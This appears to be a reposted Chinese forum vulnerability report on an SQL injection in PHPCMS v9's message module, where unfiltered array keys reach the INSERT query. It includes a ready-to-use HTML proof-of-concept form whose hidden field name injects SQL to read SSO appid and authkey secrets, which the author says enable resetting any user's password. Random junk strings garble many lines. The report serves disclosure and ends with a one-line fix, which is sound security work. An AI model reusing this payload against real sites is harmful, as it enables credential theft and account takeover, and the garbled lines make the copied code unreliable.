|
|
简要描述:8 F3 k1 |; l2 x9 s F
( Q3 D5 R- O: d+ q% j4 a; I$ T第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。: V$ |9 N# @, Z# C& _8 X
# b6 W; ]4 \. ?* N/ h' C
明天再更新下一个漏洞。
' O; u2 P# j/ }0 J8 G i详细说明:
0 B' @/ ^% z- [, N3 _+ F在/phpcms9/phpcms/modules/message/index.php中有代码如下:4 L( X0 e4 z# T9 Q6 G0 {( V
- ]0 \% K6 W' j2 L! n) {- H) _
$messageid = $this->message_db->insert($_POST['info'],true);
/ h5 w. q& l6 a* }7 e) D% ^! l: V/ d7 b% _
3 P! y6 l6 G* b0 M1 O- B, y
insert方法是key value的,代码如下:$ }/ A% r: n1 B
3 k' h8 R- D( t; m: O$ v( Y0 }
public function insert($data, $table, $return_insert_id = false, $replace = false) {" h0 l( R# C# i+ l
if(!is_array( $data ) || $table == '' || count($data) == 0) {" a g+ o+ l" ^
return false;
6 V: S" g2 ^+ y9 |+ L }/ d" c8 M1 D( A+ J* |3 H& n
3 ?% y+ j: r! l! K3 W $fielddata = array_keys($data);
: o5 z+ a. p& q. e' ~& ~ $valuedata = array_values($data);1 x+ u! S+ p! G9 _: K+ H5 ]* o1 D
array_walk($fielddata, array($this, 'add_special_char'));. Z2 z. w6 S# Y& |2 T$ v3 v
array_walk($valuedata, array($this, 'escape_string'));: C- g+ s* r) g. V2 W4 h) l# G/ H
# R, }/ `9 a0 ~- O. } $field = implode (',', $fielddata);5 a. I0 c( h- M, F W; B, j; z4 ]
$value = implode (',', $valuedata);# v5 }" `( ~7 j5 y
7 f, i7 R0 I4 m9 U5 K& } $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';) ~% y: R* h) j s8 s5 [
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';2 B- |; s; a" j' p% |+ _$ ?3 K
$return = $this->execute($sql);7 ?. M R4 S6 r7 J* L$ t- C
return $return_insert_id ? $this->insert_id() : $return;
. w4 J3 g. T( p& v }! \: c9 e8 N: H
; \% S; a. e4 ]) U. j2 a7 \3 W" @
9 P5 T1 B2 `3 R+ {: e D嗯,很遗憾的是
& H& L7 r; ?) h1 O) d
, {" ~3 q2 P6 D: M: a- e6 u8 `array_walk($fielddata, array($this, 'add_special_char'));% G1 i7 }3 T2 {
4 P; M( w c! C7 T! Z( F! z
, J% l( L5 {! Y E中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
: M$ _7 I6 W+ ?+ \, N( n+ K9 }* t X( a+ @6 F3 G
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。/ V# q: D; L1 ^
7 {1 P. n8 K4 ]. c" o( Z, Q
漏洞证明:
Z/ _- ~, p/ G5 H7 f* |( ?读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。' ~4 Z, E0 R% W& Z
# N% z+ O/ B# w) d4 e/ L
( ?) K. R- t( r4 X7 S
表单如下:用户名什么的得自己改一改。; |( c% y) ~5 b
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">$ Z8 C o% { @
<table width="100%" cellspacing="0" class="table_form">
! G, Q+ h4 Z/ _) u<tr>0 H8 p6 ?1 G) O: f# U+ M: a
<th>标 题:</th> D5 o3 X1 j/ {" r5 H
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>" L; Q1 G5 |2 T; }
</tr>
6 [( t) m n) |5 G9 t" f<tr>- W2 k# s1 s) C% K( z
<th>内 容:</th>6 e' y# Z2 h( r/ n; c' p
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>3 \6 w: u0 ]1 a
</tr>6 n+ `3 A, U; ]5 V. |
<input type="hidden" name="info[replyid]" value="2" /> ' f: p g; ~ U" h
<input type="hidden" name="info[send_to_id]" value="cc" />
; v" R- E8 {: c2 H; ^" j! z% a<input type="hidden" name="info[send_from_id]" value="hh">
* b/ o8 p* U+ n- j<!-- 漏洞的利用重点在这里开始 -->
" t) U! ]7 ]5 l' J<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
/ w1 {* w- }2 N2 {- j<!-- 漏洞的利用重点在这里结束 -->4 \! Q' X- f& r
<tr>6 S" ^- f5 f& G& d& [0 B6 v* H
<th>验证码:</th>. z" ]- @/ l7 a7 _
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
e9 \/ g0 h$ m( V/ g' w. H</tr>
: H' q/ i# \ I7 b e5 R% \! J<tr>
2 {% D5 \6 X+ ?" \7 H" e<td></td>
5 U; L1 v5 V( f" w$ B: L9 c5 }<td colspan="2"><label>3 V( S0 a% ?8 J9 T9 h- u' ^4 K) Y
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
7 x& c- Q' w) ?7 s</label></td>
6 K) w& e: F3 P" }</tr>
1 M: W5 q. }4 `. @) @& \1 i8 ~</table>
# D3 w, b& I- `, a0 P9 u" s4 J</form>
& C/ g. `) ]6 Z# @9 T在add_special_char函数内对key做过滤就可以了。
9 r* K" m5 w; K9 e( w$ E+ j3 m# i9 ~) ]5 X4 r; O
" u. m9 e; q3 H: a- p' o7 M1 B: G7 A9 q; @9 H5 }
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|